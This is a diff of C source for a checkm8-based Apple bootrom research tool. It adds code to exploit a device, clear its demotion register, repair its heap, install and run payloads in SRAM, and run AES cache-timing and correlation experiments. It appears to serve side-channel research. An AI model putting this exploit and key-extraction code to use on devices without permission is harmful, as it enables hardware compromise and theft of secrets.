int i, j;
unsigned char src_data[16];
for(j = 0; j < 16; j++)
{
src_data[j] = src[j];
}
for(i = 0; i < rep; i++)
{
if(i % 2 == 0) hardware_aes(16, src_data, dst, 16, 0, key, 0);
else hardware_aes(16, dst, src_data, 16, 0, key, 0);
}
}
PAYLOAD_SECTION
void entry_async(uint64_t *base){}

View File

@@ -0,0 +1,83 @@
#include "bootrom_func.h"
#include "dev/types.h"
#include "dev_cache.h"
#include "dev_crypto.h"
PAYLOAD_SECTION
uint64_t entry_sync(unsigned char *msg, unsigned int msg_len, unsigned char key[16],
struct aes_constants *c)
{
unsigned long long start = 0;
unsigned char key_sched[176];
expand_key(key, key_sched, 11, c);
start = get_ticks();
aes128_encrypt_ecb(msg, msg_len, key, c);
return get_ticks() - start;
}
PAYLOAD_SECTION
void entry_async(uint64_t *base)
{
int i, j, iter_count = 0;
unsigned long long start = 0;
unsigned char msg_old[16];
unsigned char key_sched[176];
double timing;
// get initial params
unsigned char *msg = (unsigned char *) base[0];
unsigned int msg_len = (unsigned int) base[1];
unsigned char *key = (unsigned char *) base[2];
struct aes_constants *c = (struct aes_constants *) base[3];
expand_key(key, key_sched, 11, c);
// initialize events and buffers
struct bern_data *data = (struct bern_data *) base;
event_new(&data->ev_data, 1, 0);
event_new(&data->ev_done, 1, 0);
data->count = 0;
for(i = 0; i < 16; i++)
{
for(j = 0; j < 256; j++)
{
data->t[i][j] = 0;
data->tsq[i][j] = 0;
data->tnum[i][j] = 0;
}
}
while(1)
{
// randomly generate a new msg based on the old one
for(i = 0; i < 16; i++)
msg_old[i] = msg[i];
// encrypt it and measure time
start = get_ticks();
aes128_encrypt_ecb(msg, msg_len, key_sched, c);
timing = (double) (get_ticks() - start);
// update counters
for(i = 0; i < 16; i++)
{
data->t[i][msg_old[i]] += timing;
data->tsq[i][msg_old[i]] += (timing * timing);
data->tnum[i][msg_old[i]] += 1;
data->count++;
data->ttotal += timing;
}
// check if host has requested data
iter_count++;
if(iter_count % 100000 == 0)
{
if(event_try(&data->ev_data, 1))
event_wait(&data->ev_done);
}
}
}

View File

@@ -0,0 +1,54 @@
#include "bootrom_func.h"
#include "dev_util.h"
#include "dev_crypto.h"
PAYLOAD_SECTION
void entry_sync()
{
}
PAYLOAD_SECTION
void entry_async(uint64_t *base)
{
int i;
unsigned char key_sched[176];
unsigned long long start, timing;
unsigned char *key = (unsigned char *) base[0];
struct aes_constants *c = (struct aes_constants *) base[1];
struct corr_data *data = (struct corr_data *) base;
event_new(&data->ev_cont, 1, 0);
expand_key(key, key_sched, 11, c);
for(i = 0; i < 16; i++)
data->msg[i] = 0;
while(1)
{
// reset data state
data->num_cutoff = 0;
for(i = 0; i < N_CORR_ENTRIES; i++)
{
data->data[i] = 0;
}
// collect new data
i = 0;
while(i < N_CORR_ENTRIES)
{
start = get_ticks();
aes128_encrypt_ecb(data->msg, 16, key_sched, c);
timing = get_ticks() - start;
if(timing < 256)
data->data[i++] = (unsigned char) timing;
else
data->num_cutoff++;
}
event_wait(&data->ev_cont);
}
}

View File

@@ -0,0 +1,33 @@
#include "bootrom_func.h"
#include "dev_cache.h"
PAYLOAD_SECTION
unsigned long long l1_experiment()
{
int i;
unsigned long long start, f;
volatile unsigned long long val = 0;
clean_inv_va((unsigned long long *) &val);
start = get_ticks();
for(i = 0; i < 10000000; i++)
{
val;
clean_inv_va((unsigned long long *) &val);
}
return get_ticks() - start;
}
PAYLOAD_SECTION
unsigned long long entry_sync()
{
return l1_experiment();
}
PAYLOAD_SECTION
void entry_async()
{
}

View File

@@ -0,0 +1,53 @@
#include "dev/addr.h"
#include "bootrom_func.h"
PAYLOAD_SECTION
void fix_heap()
{
*((unsigned long long *) 0x1801b91a0) = 0x80 / 0x40;
*((unsigned long long *) 0x1801b91a8) = ((0x840u / 0x40) << 2u);
*((unsigned long long *) 0x1801b91b0) = 0x80;
*((unsigned long long *) 0x1801b91b8) = 0;
*((unsigned long long *) 0x1801b9220) = 0x80 / 0x40;
*((unsigned long long *) 0x1801b9228) = ((0x80u / 0x40) << 2u);
*((unsigned long long *) 0x1801b9230) = 0x80;
*((unsigned long long *) 0x1801b9238) = 0;
*((unsigned long long *) 0x1801b92a0) = 0x80 / 0x40;
*((unsigned long long *) 0x1801b92a8) = ((0x80u / 0x40) << 2u);
*((unsigned long long *) 0x1801b92b0) = 0x80;
*((unsigned long long *) 0x1801b92b8) = 0;
__asm__ volatile ("dmb sy");
calc_chksum((unsigned long long *) 0x1801b9180,
(unsigned long long *) 0x1801b91a0,
32,
(unsigned long long *) 0x180080640);
calc_chksum((unsigned long long *) 0x1801b9200,
(unsigned long long *) 0x1801b9220,
32,
(unsigned long long *) 0x180080640);
calc_chksum((unsigned long long *) 0x1801b9280,
(unsigned long long *) 0x1801b92a0,
32,
(unsigned long long *) 0x180080640);
__asm__ volatile ("dmb sy");
check_all_chksums();
}
void entry_sync(unsigned long long *self)
{
fix_heap();
*(ADDR_DFU_RETVAL) = -1;
*(ADDR_DFU_STATUS) = 1;
event_notify((struct event *) ADDR_DFU_EVENT);
dev_free(self);
}
void entry_async(uint64_t *base){}

View File

@@ -0,0 +1,60 @@
#include "bootrom_func.h"
extern uint64_t fs_routine(void);
extern uint64_t fs_load(float *dividend, int divisor_base);
// extern uint64_t check_subnormal();
//PAYLOAD_SECTION
//unsigned int is_subnormal(float val)
//{
// unsigned int bytes = *((unsigned int *) &val);
// bytes = bytes >> 23u;
//
// if(bytes & 0x7u)
// {
// return 0;
// }
// else return 1;
//}
PAYLOAD_SECTION
uint64_t floppysleep_iteration(float *init)
{
int i;
uint64_t start, end, report;
__asm__ volatile ("isb\n\rmrs %0, cntpct_el0" : "=r" (start));
fs_load(init, 1);
for(i = 0; i < 128; i++) fs_routine();
__asm__ volatile ("isb\n\rmrs %0, cntpct_el0" : "=r" (end));
if(2 * end - start - 64 > 0)
{
timer_register_int(2 * end - start - 64);
wfi();
}
__asm__ volatile ("isb\n\rmrs %0, cntpct_el0" : "=r" (report));
return end - start;
}
PAYLOAD_SECTION
uint64_t entry_sync(float *init_ptr)
{
return floppysleep_iteration(init_ptr);
}
PAYLOAD_SECTION
void entry_async(uint64_t *args)
{
float *init_ptr = (float *) args[0];
args[0] = 0;
while(1)
{
floppysleep_iteration(init_ptr);
if(args[0] % 1000000 == 0) task_resched();
args[0]++;
}
}

View File

@@ -0,0 +1,13 @@
#include "dev_util.h"
PAYLOAD_SECTION
void entry_sync()
{
__asm__("dmb sy");
__asm__("ic iallu");
__asm__("dsb sy");
__asm__("isb");
}
PAYLOAD_SECTION
void entry_async(){}

View File

@@ -2,12 +2,12 @@
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <float.h>
#include <stdlib.h>
#include <math.h>
#include "command.h"
#include "payload.h"
#include "usb_helpers.h"
#include "dev/types.h"
#include "util/experiments.h"
#include "util/host_crypto.h"
#ifdef CHECKM8_LOGGING
@@ -27,7 +27,7 @@ void checkm8_debug_indent(const char *format, ...)
}
va_list args;
va_start (args, format);
va_start(args, format);
vprintf(format, args);
va_end(args);
#endif
@@ -44,62 +44,149 @@ void checkm8_debug_block(const char *format, ...)
#endif
}
void record_bern_data(struct bern_data *data)
{
int j, b;
double u[16][256];
double udev[16][256];
double taverage;
FILE *outfile;
char linebuf[256];
printf("have count %lli k\n", data->count / 16 / 100000);
taverage = data->ttotal / (double) data->count;
for(j = 0; j < 16; j++)
{
for(b = 0; b < 256; b++)
{
u[j][b] = data->t[j][b] / data->tnum[j][b];
udev[j][b] = data->tsq[j][b] / data->tnum[j][b];
udev[j][b] -= u[j][b] * u[j][b];
udev[j][b] = sqrt(udev[j][b]);
}
}
sprintf(linebuf, "dat_%lli.dat", data->count / 16 / 100000);
outfile = fopen(linebuf, "w+");
if(outfile == NULL)
{
printf("failed to open data file\n");
return;
}
for(j = 0; j < 16; j++)
{
for(b = 0; b < 256; b++)
{
sprintf(linebuf,
"%2d %3d %lli %f %f %f %f\n",
j, b, (long long) data->tnum[j][b],
u[j][b], udev[j][b],
u[j][b] - taverage, udev[j][b] / sqrt(data->tnum[j][b]));
fputs(linebuf, outfile);
}
}
fclose(outfile);
}
void run_corr_exp(struct pwned_device *dev, char *fname)
{
int i, j, iter = 0;
char dat_fname[32];
FILE *outfile;
DEV_PTR_T addr_async_buf;
struct aes_constants *c = get_constants();
struct corr_data *data;
unsigned char msg[16];
unsigned char key[16];
unsigned char key_sched[176];
for(i = 0; i < 16; i++)
{
msg[i] = 0;
key[i] = 0x0;
}
expand_key(key, key_sched, 11, c);
addr_async_buf = setup_corr_exp(dev, key);
printf("got async buf ptr %llx\n", addr_async_buf);
if(addr_async_buf == DEV_PTR_NULL) return;
while(1)
{
sprintf(dat_fname, "%s_%i.bin", fname, iter);
outfile = fopen(dat_fname, "wb");
if(outfile == NULL)
{
printf("failed to open outfile\n");
return;
}
for(j = 0; j < 375; j++)
{
data = get_corr_exp_data(dev, addr_async_buf);
if(data->num_cutoff != 0)
printf("more than 0 entries were cutoff\n");
for(i = 0; i < N_CORR_ENTRIES; i++)
{
fwrite(msg, 1, sizeof(msg), outfile);
fwrite("\x00", 1, 1, outfile);
fwrite(&data->data[i], 1, 1, outfile);
fwrite("\x00\x00", 1, 2, outfile);
aes128_encrypt_ecb(msg, 16, key_sched, c);
}
fflush(outfile);
for(i = 0; i < 16; i++)
{
if(msg[i] != data->msg[i])
{
printf("aes error! message mismatch\n");
free(data);
return;
}
}
free(data);
}
fclose(outfile);
iter++;
}
}
int main()
{
struct dev_cmd_resp *resp;
struct pwned_device *dev = exploit_device();
if(dev == NULL || dev->status == DEV_NORMAL)
{
printf("Failed to exploit device\n");
return -1;
}
if(IS_CHECKM8_FAIL(open_device_session(dev)))
{
printf("failed to open device session\n");
return -1;
}
fix_heap(dev);
demote_device(dev);
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_SYNC, SRAM)))
{
printf("failed to install sync payload\n");
return -1;
}
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_FLOPPYSLEEP, SRAM)))
{
printf("failed to install task sleep payload\n");
return -1;
}
float init_a = -7.504355E-39f;
resp = write_gadget(dev, 0x180154000, (unsigned char *) &init_a, sizeof(float));
free_dev_cmd_resp(resp);
resp = execute_payload(dev, PAYLOAD_SYNC, 0, 0);
if(IS_CHECKM8_FAIL(resp->ret))
{
printf("failed to execute bootstrap\n");
return -1;
}
free_dev_cmd_resp(resp);
while(1)
{
resp = execute_payload(dev, PAYLOAD_FLOPPYSLEEP, 0, 1, 0x180154000);
if(IS_CHECKM8_FAIL(resp->ret))
{
printf("failed to execute flopsleep payload\n");
return -1;
}
printf("retval is %08lli\n", resp->retval);
free_dev_cmd_resp(resp);
usleep(2000000);
}
close_device_session(dev);
run_corr_exp(dev, "key00");
free_device(dev);
}

View File

@@ -1,7 +1,7 @@
#include "command.h"
#include "tool/command.h"
#include "checkm8.h"
#include "usb_helpers.h"
#include "tool/usb_helpers.h"
#include <stdlib.h>
#include <string.h>
@@ -25,7 +25,7 @@ int dfu_send_data(struct pwned_device *dev, unsigned char *data, long data_len,
checkm8_debug_indent("\tsending chunk of size %li at index %li\n", amount, index);
ret = ctrl_transfer(dev, 0x21, 1, 0, 0, &data[index], amount, 5000, trigger);
ret = ctrl_transfer(dev, 0x21, 1, 0, 0, &data[index], amount, 0, trigger);
if(ret > 0) checkm8_debug_indent("\ttransferred %i bytes\n", ret);
else
{
@@ -71,7 +71,7 @@ struct dev_cmd_resp *command(struct pwned_device *dev,
return cmd_resp;
}
ret = ctrl_transfer(dev, 0x21, 1, 0, 0, nullbuf, 0, 100, 0);
ret = ctrl_transfer(dev, 0x21, 1, 0, 0, nullbuf, 0, 0, 0);
if(ret >= 0) checkm8_debug_indent("\ttransferred %i bytes\n", ret);
else
{
@@ -80,7 +80,7 @@ struct dev_cmd_resp *command(struct pwned_device *dev,
return cmd_resp;
}
ret = ctrl_transfer(dev, 0xA1, 3, 0, 0, nullbuf, 6, 100, 0);
ret = ctrl_transfer(dev, 0xA1, 3, 0, 0, nullbuf, 6, 0, 0);
if(ret >= 0) checkm8_debug_indent("\ttransferred %i bytes\n", ret);
else
{
@@ -89,7 +89,7 @@ struct dev_cmd_resp *command(struct pwned_device *dev,
return cmd_resp;
}
ret = ctrl_transfer(dev, 0xA1, 3, 0, 0, nullbuf, 6, 100, 0);
ret = ctrl_transfer(dev, 0xA1, 3, 0, 0, nullbuf, 6, 0, 0);
if(ret >= 0) checkm8_debug_indent("\ttransferred %i bytes\n", ret);
else
{
@@ -110,7 +110,7 @@ struct dev_cmd_resp *command(struct pwned_device *dev,
ret = ctrl_transfer(dev,
0xA1, 2, 0xFFFF, 0,
resp_buf, response_len + 1,
100, 1);
0, 1);
if(ret >= 0) checkm8_debug_indent("\tfinal request transferred %i bytes\n", ret);
else
{
@@ -124,7 +124,7 @@ struct dev_cmd_resp *command(struct pwned_device *dev,
ret = ctrl_transfer(dev,
0xA1, 2, 0xFFFF, 0,
resp_buf, response_len,
100, 1);
0, 1);
if(ret >= 0) checkm8_debug_indent("\tfinal request transferred %i bytes\n", ret);
else
{
@@ -157,7 +157,7 @@ struct dev_cmd_resp *command(struct pwned_device *dev,
#define MEMS_MAGIC 0x6d656d736d656d73ull // 'memsmems'[::-1]
#define DONE_MAGIC 0x646f6e65646f6e65ull // 'donedone'[::-1]
struct dev_cmd_resp *dev_memset(struct pwned_device *dev, long long addr, unsigned char c, int len)
struct dev_cmd_resp *dev_memset(struct pwned_device *dev, unsigned long long addr, unsigned char c, int len)
{
checkm8_debug_indent("dev_memset(dev = %p, addr = %lx, c = %x, len = %li)\n", dev, addr, c, len);
unsigned long long cmd_args[5];
@@ -170,7 +170,7 @@ struct dev_cmd_resp *dev_memset(struct pwned_device *dev, long long addr, unsign
return command(dev, (unsigned char *) &cmd_args, 5 * sizeof(unsigned long long), 8);
}
struct dev_cmd_resp *dev_memcpy(struct pwned_device *dev, long long dest, long long src, int len)
struct dev_cmd_resp *dev_memcpy(struct pwned_device *dev, unsigned long long dest, unsigned long long src, int len)
{
checkm8_debug_indent("dev_memset(dev = %p, dest = %lx, src = %lx, len = %li)\n", dev, dest, src, len);
unsigned long long cmd_args[5];
@@ -205,7 +205,7 @@ struct dev_cmd_resp *dev_exec(struct pwned_device *dev, int response_len, int na
return command(dev, (unsigned char *) cmd_args, (1 + nargs) * sizeof(unsigned long long), 16 + response_len);
}
struct dev_cmd_resp *dev_read_memory(struct pwned_device *dev, long long addr, int len)
struct dev_cmd_resp *dev_read_memory(struct pwned_device *dev, unsigned long long addr, int len)
{
checkm8_debug_indent("dev_read_memory(dev = %p, addr = %lx, len = %i)\n", dev, addr, len);
long long index = 0, amount;
@@ -254,7 +254,7 @@ struct dev_cmd_resp *dev_read_memory(struct pwned_device *dev, long long addr, i
return ret;
}
struct dev_cmd_resp *dev_write_memory(struct pwned_device *dev, long long addr, unsigned char *data, int len)
struct dev_cmd_resp *dev_write_memory(struct pwned_device *dev, unsigned long long addr, unsigned char *data, int len)
{
checkm8_debug_indent("dev_write_memory(dev = %p, addr = %lx, data = %p, len = %i)\n", dev, addr, data, len);

View File

@@ -1,12 +1,14 @@
#include "checkm8.h"
#include <stdlib.h>
#include "usb_helpers.h"
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include "tool/usb_helpers.h"
#include "tool/command.h"
#include "dev/addr.h"
static unsigned char data_0xA_0xC0_buf[192] =
{
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
@@ -148,6 +150,12 @@ int stage3_function(struct pwned_device *dev)
checkm8_debug_indent("exploit stage 3\n");
FILE *overwrite_file = fopen(CHECKM8_BIN_BASE "overwrite.bin", "r");
if(overwrite_file == NULL)
{
checkm8_debug_indent("\tfailed to open overwrite file\n");
return CHECKM8_FAIL_NOINST;
}
fseek(overwrite_file, 0, SEEK_END);
ow_len = ftell(overwrite_file);
rewind(overwrite_file);
@@ -157,6 +165,12 @@ int stage3_function(struct pwned_device *dev)
fclose(overwrite_file);
FILE *payload_file = fopen(CHECKM8_BIN_BASE "payload.bin", "r");
if(payload_file == NULL)
{
checkm8_debug_indent("\tfailed to open payload file\n");
return CHECKM8_FAIL_NOINST;
}
fseek(payload_file, 0, SEEK_END);
pl_len = ftell(payload_file);
rewind(payload_file);
@@ -289,6 +303,140 @@ struct pwned_device *exploit_device()
}
}
int demote_device(struct pwned_device *dev)
{
checkm8_debug_indent("demote_device(dev = %p)\n", dev);
unsigned int oldval, newval;
int retval;
if(IS_CHECKM8_FAIL(open_device_session(dev)))
{
checkm8_debug_indent("\tfailed to open a device session\n");
return CHECKM8_FAIL_XFER;
}
struct dev_cmd_resp *resp = dev_read_memory(dev, DEMOTE_REG, 4);
if(IS_CHECKM8_FAIL(resp->ret))
{
free_dev_cmd_resp(resp);
checkm8_debug_block("\tfailed to read demotion reg\n");
return CHECKM8_FAIL_INVARGS;
}
oldval = *((unsigned int *) resp->data);
free_dev_cmd_resp(resp);
if(!(oldval & 1u))
{
checkm8_debug_block("\tdevice already demoted\n");
if(IS_CHECKM8_FAIL(close_device_session(dev)))
{
checkm8_debug_indent("\tfailed to close device session\n");
return CHECKM8_FAIL_XFER;
}
return CHECKM8_SUCCESS;
}
oldval &= 0xFFFFFFFE;
checkm8_debug_indent("\tattempting to demote device\n");
resp = dev_write_memory(dev, DEMOTE_REG, (unsigned char *) &oldval, 4);
if(IS_CHECKM8_FAIL(resp->ret))
{
checkm8_debug_block("\tfailed to write to demotion reg\n");
free_dev_cmd_resp(resp);
if(IS_CHECKM8_FAIL(close_device_session(dev)))
{
checkm8_debug_indent("\tfailed to close device session\n");
return CHECKM8_FAIL_XFER;
}
return CHECKM8_FAIL_INVARGS;
}
free_dev_cmd_resp(resp);
// verify
resp = dev_read_memory(dev, DEMOTE_REG, 4);
if(IS_CHECKM8_FAIL(resp->ret))
{
free_dev_cmd_resp(resp);
checkm8_debug_block("\tfailed to verify demotion reg\n");
if(IS_CHECKM8_FAIL(close_device_session(dev)))
{
checkm8_debug_indent("\tfailed to close device session\n");
return CHECKM8_FAIL_XFER;
}
return CHECKM8_FAIL_INVARGS;
}
newval = *((unsigned int *) resp->data);
free_dev_cmd_resp(resp);
if(oldval == newval)
{
checkm8_debug_block("\tdemotion success!\n");
retval = CHECKM8_SUCCESS;
}
else
{
checkm8_debug_block("\tdemotion register did not change!\n");
retval = CHECKM8_FAIL_INVARGS;
}
if(IS_CHECKM8_FAIL(close_device_session(dev)))
{
checkm8_debug_indent("\tfailed to close device session\n");
return CHECKM8_FAIL_XFER;
}
return retval;
}
int fix_heap(struct pwned_device *dev)
{
checkm8_debug_indent("fix_heap(dev = %p)\n", dev);
int close;
#if CHECKM8_PLATFORM == 8010
unsigned long long block1_data[4] = {0x80 / 0x40, ((0x840u / 0x40) << 2u), 0x80, 0};
unsigned long long block2_data[4] = {0x80 / 0x40, ((0x80u / 0x40) << 2u), 0x80, 0};
unsigned long long block3_data[4] = {0x80 / 0x40, ((0x80u / 0x40) << 2u), 0x80, 0};
unsigned long long calc1_args[5] = {ADDR_CALC_CHKSUM, 0x1801b9180, 0x1801b91a0, 32, 0x180080640};
unsigned long long calc2_args[5] = {ADDR_CALC_CHKSUM, 0x1801b9200, 0x1801b9220, 32, 0x180080640};
unsigned long long calc3_args[5] = {ADDR_CALC_CHKSUM, 0x1801b9280, 0x1801b92a0, 32, 0x180080640};
if(is_device_session_open(dev)) close = 0;
else
{
close = 1;
if(IS_CHECKM8_FAIL(open_device_session(dev)))
{
checkm8_debug_indent("\tfailed to open a device session\n");
return CHECKM8_FAIL_XFER;
}
}
dev_write_memory(dev, 0x1801b91a0, (unsigned char *) block1_data, 64);
dev_write_memory(dev, 0x1801b9220, (unsigned char *) block2_data, 64);
dev_write_memory(dev, 0x1801b92a0, (unsigned char *) block3_data, 64);
dev_exec(dev, 0, 5, calc1_args);
dev_exec(dev, 0, 5, calc2_args);
dev_exec(dev, 0, 5, calc3_args);
if(close) close_device_session(dev);
#else
#error "Can't fix heap for unknown platform"
#endif
return CHECKM8_SUCCESS;
}
void free_device(struct pwned_device *dev)
{
checkm8_debug_indent("free_device(dev = %p)\n", dev);

View File

@@ -1,13 +1,13 @@
#include "payload.h"
#include "tool/payload.h"
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include "command.h"
#include "usb_helpers.h"
#include "tool/command.h"
#include "tool/libpayload.h"
#include "libpayload.h"
#include "dev/addr.h"
struct payload
{
@@ -15,11 +15,22 @@ struct payload
const unsigned char *data;
int len;
long long install_base;
DEV_PTR_T install_base;
DEV_PTR_T async_base;
struct payload *next;
struct payload *prev;
};
struct data
{
DEV_PTR_T addr;
int len;
struct data *next;
struct data *prev;
};
struct payload *get_payload(PAYLOAD_T p)
{
struct payload *res;
@@ -28,24 +39,29 @@ struct payload *get_payload(PAYLOAD_T p)
switch(p)
{
case PAYLOAD_AES:
pl = payload_aes;
len = PAYLOAD_AES_SZ;
break;
case PAYLOAD_AES_BUSY:
pl = payload_aes_busy;
len = PAYLOAD_AES_BUSY_SZ;
break;
case PAYLOAD_AES_SW:
pl = payload_aes_sw;
len = PAYLOAD_AES_SW_SZ;
case PAYLOAD_AES_SW_BERN:
pl = payload_aes_sw_bern;
len = PAYLOAD_AES_SW_BERN_SZ;
break;
case PAYLOAD_BOOTSTRAP:
pl = payload_bootstrap;
len = PAYLOAD_BOOTSTRAP_SZ;
case PAYLOAD_AES_SW_CORR:
pl = payload_aes_sw_corr;
len = PAYLOAD_AES_SW_CORR_SZ;
break;
case PAYLOAD_CACHELIB:
pl = payload_cachelib;
len = PAYLOAD_CACHELIB_SZ;
break;
case PAYLOAD_EXIT_USB_TASK:
pl = payload_exit_usb_task;
len = PAYLOAD_EXIT_USB_TASK_SZ;
break;
case PAYLOAD_FLOPPYSLEEP:
@@ -58,16 +74,6 @@ struct payload *get_payload(PAYLOAD_T p)
len = PAYLOAD_SYNC_SZ;
break;
case PAYLOAD_SYSREG:
pl = payload_sysreg;
len = PAYLOAD_SYSREG_SZ;
break;
case PAYLOAD_TASK_SLEEP_TEST:
pl = payload_task_sleep_test;
len = PAYLOAD_TASK_SLEEP_TEST_SZ;
break;
default:
return NULL;
}
@@ -79,32 +85,18 @@ struct payload *get_payload(PAYLOAD_T p)
res->type = p;
res->len = len;
res->data = pl;
res->install_base = -1;
res->install_base = DEV_PTR_NULL;
res->async_base = DEV_PTR_NULL;
res->next = NULL;
res->prev = NULL;
return res;
}
void free_payload(struct payload *p)
{
free(p);
}
long long curr_address = 0x180150000;
long long get_address(struct pwned_device *dev, LOCATION_T l)
{
//TODO: make an actual memory allocator
long long ret = curr_address;
curr_address += 0x1000;
return ret;
}
struct payload *dev_retrieve_payload(struct pwned_device *dev, PAYLOAD_T p)
{
struct payload *curr;
for(curr = dev->installed; curr != NULL; curr = curr->next)
for(curr = dev->inst_pl; curr != NULL; curr = curr->next)
{
if(curr->type == p) return curr;
}
@@ -115,14 +107,14 @@ struct payload *dev_retrieve_payload(struct pwned_device *dev, PAYLOAD_T p)
int dev_link_payload(struct pwned_device *dev, struct payload *pl)
{
struct payload *curr;
if(dev->installed == NULL)
if(dev->inst_pl == NULL)
{
dev->installed = pl;
dev->inst_pl = pl;
return CHECKM8_SUCCESS;
}
else
{
for(curr = dev->installed; curr->next != NULL; curr = curr->next);
for(curr = dev->inst_pl; curr->next != NULL; curr = curr->next);
curr->next = pl;
pl->prev = curr;
@@ -130,21 +122,125 @@ int dev_link_payload(struct pwned_device *dev, struct payload *pl)
}
}
int *dev_unlink_payload(struct pwned_device *dev, struct payload *pl)
int dev_unlink_payload(struct pwned_device *dev, struct payload *pl)
{
if(dev->installed == pl)
if(dev->inst_pl == pl)
{
dev->installed = NULL;
dev->inst_pl = pl->next;
return CHECKM8_SUCCESS;
}
else
{
pl->prev->next = pl->next;
pl->next->prev = pl->prev;
if(pl->next != NULL)
pl->next->prev = pl->prev;
return CHECKM8_SUCCESS;
}
}
struct data *dev_retrieve_data(struct pwned_device *dev, DEV_PTR_T addr)
{
struct data *curr;
for(curr = dev->inst_data; curr != NULL; curr = curr->next)
{
if(curr->addr == addr) return curr;
}
return NULL;
}
int dev_link_data(struct pwned_device *dev, struct data *data)
{
struct data *curr;
if(dev->inst_data == NULL)
{
dev->inst_data = data;
return CHECKM8_SUCCESS;
}
else
{
for(curr = dev->inst_data; curr->next != NULL; curr = curr->next);
curr->next = data;
data->prev = curr;
return CHECKM8_SUCCESS;
}
}
int dev_unlink_data(struct pwned_device *dev, struct data *data)
{
if(dev->inst_data == data)
{
dev->inst_data = data->next;
return CHECKM8_SUCCESS;
}
else
{
data->prev->next = data->next;
if(data->next != NULL)
data->next->prev = data->prev;
return CHECKM8_SUCCESS;
}
}
DEV_PTR_T get_address(struct pwned_device *dev, LOCATION_T l, int len)
{
checkm8_debug_indent("get_address(dev = %p, loc = %i, len = %i)\n", dev, l, len);
DEV_PTR_T retval;
unsigned long long malloc_args[2] = {ADDR_DEV_MALLOC, (unsigned long long) len};
struct data *new_entry;
struct dev_cmd_resp *resp = dev_exec(dev, 0, 2, malloc_args);
if(IS_CHECKM8_FAIL(resp->ret))
{
free_dev_cmd_resp(resp);
checkm8_debug_indent("\tfailed to malloc an address\n");
return DEV_PTR_NULL;
}
retval = resp->retval;
free_dev_cmd_resp(resp);
new_entry = malloc(sizeof(struct data));
new_entry->addr = retval;
new_entry->len = len;
new_entry->prev = NULL;
new_entry->next = NULL;
dev_link_data(dev, new_entry);
checkm8_debug_indent("\tgot address %llX\n", retval);
return retval;
}
int free_address(struct pwned_device *dev, LOCATION_T l, DEV_PTR_T ptr)
{
struct dev_cmd_resp *resp;
struct data *entry;
unsigned long long free_args[2] = {ADDR_DEV_FREE, ptr};
entry = dev_retrieve_data(dev, ptr);
if(entry == NULL)
{
checkm8_debug_indent("\tthis pointer was not allocated through the payload interface, not freeing\n");
return CHECKM8_FAIL_NOINST;
}
resp = dev_exec(dev, 0, 2, free_args);
if(IS_CHECKM8_FAIL(resp->ret))
{
free_dev_cmd_resp(resp);
checkm8_debug_indent("\tfailed to free allocated payload memory\n");
return CHECKM8_FAIL_XFER;
}
free_dev_cmd_resp(resp);
dev_unlink_data(dev, entry);
free(entry);
return CHECKM8_SUCCESS;
}
int install_payload(struct pwned_device *dev, PAYLOAD_T p, LOCATION_T loc)
{
@@ -152,7 +248,7 @@ int install_payload(struct pwned_device *dev, PAYLOAD_T p, LOCATION_T loc)
struct dev_cmd_resp *resp = NULL;
struct payload *pl = get_payload(p);
long long addr = get_address(dev, loc);
DEV_PTR_T addr = get_address(dev, loc, pl->len);
if(pl == NULL || addr == -1)
{
@@ -177,13 +273,60 @@ int install_payload(struct pwned_device *dev, PAYLOAD_T p, LOCATION_T loc)
int uninstall_payload(struct pwned_device *dev, PAYLOAD_T p)
{
//TODO: free memory in memory allocator
checkm8_debug_indent("uninstall payload(dev = %p, p = %i)\n", dev, p);
struct payload *pl = dev_retrieve_payload(dev, p);
if(pl == NULL)
{
checkm8_debug_indent("\tinvalid args (payload)\n");
return CHECKM8_FAIL_INVARGS;
}
if(IS_CHECKM8_FAIL(free_address(dev, SRAM, pl->install_base)))
{
checkm8_debug_indent("\tfailed to free memory used by payload!\n");
return CHECKM8_FAIL_XFER;
}
dev_unlink_payload(dev, pl);
free(pl);
return CHECKM8_SUCCESS;
}
int uninstall_all_payloads(struct pwned_device *dev)
{
checkm8_debug_indent("uninstall_all_payloads(dev = %p)\n");
int ret;
while(dev->inst_pl != NULL)
{
ret = uninstall_payload(dev, dev->inst_pl->type);
if(IS_CHECKM8_FAIL(ret))
{
checkm8_debug_indent("\terror while uninstalling\n");
return ret;
}
}
return CHECKM8_SUCCESS;
}
DEV_PTR_T get_payload_address(struct pwned_device *dev, PAYLOAD_T p)
{
struct payload *pl = dev_retrieve_payload(dev, p);
if(pl == NULL)
{
return DEV_PTR_NULL;
}
else
{
return pl->install_base;
}
}
struct dev_cmd_resp *execute_payload(struct pwned_device *dev, PAYLOAD_T p, int response_len, int nargs, ...)
{
checkm8_debug_indent("execute_payload(dev = %p, p = %i, nargs = %i, ...)\n", dev, p, nargs);
checkm8_debug_indent("execute_payload(dev = %p, p = %i, response_len = %i, nargs = %i, ...)\n",
dev, p, response_len, nargs);
int i;
struct dev_cmd_resp *resp;
struct payload *pl;
@@ -212,19 +355,215 @@ struct dev_cmd_resp *execute_payload(struct pwned_device *dev, PAYLOAD_T p, int
return dev_exec(dev, response_len, nargs + 1, args);
}
struct dev_cmd_resp *read_gadget(struct pwned_device *dev, long long addr, int len)
unsigned long long setup_payload_async(struct pwned_device *dev, PAYLOAD_T p, int bufsize, int nargs, ...)
{
checkm8_debug_indent("setup_payload_async(dev = %p, p = %i, bufsize = %i, nargs = %i, ...)\n",
dev, p, bufsize, bufsize, nargs);
int i;
struct dev_cmd_resp *resp;
struct payload *pl;
DEV_PTR_T buf_addr;
unsigned long long buf_args[nargs], task_args[5];
if((pl = dev_retrieve_payload(dev, p)) == NULL)
{
checkm8_debug_indent("\tpayload is not installed\n");
return DEV_PTR_NULL;
}
checkm8_debug_indent("\tadjusting buffer size (if necessary)\n");
if(bufsize < nargs * sizeof(unsigned long long))
{
checkm8_debug_indent("\texpanding buffer to fit (at least) provided arguments\n");
bufsize = nargs * sizeof(unsigned long long);
}
buf_addr = get_address(dev, SRAM, bufsize);
if(buf_addr == DEV_PTR_NULL)
{
checkm8_debug_indent("\tfailed to get a shared buffer for the payload\n");
return DEV_PTR_NULL;
}
va_list arg_list;
va_start(arg_list, nargs);
for(i = 0; i < nargs; i++)
{
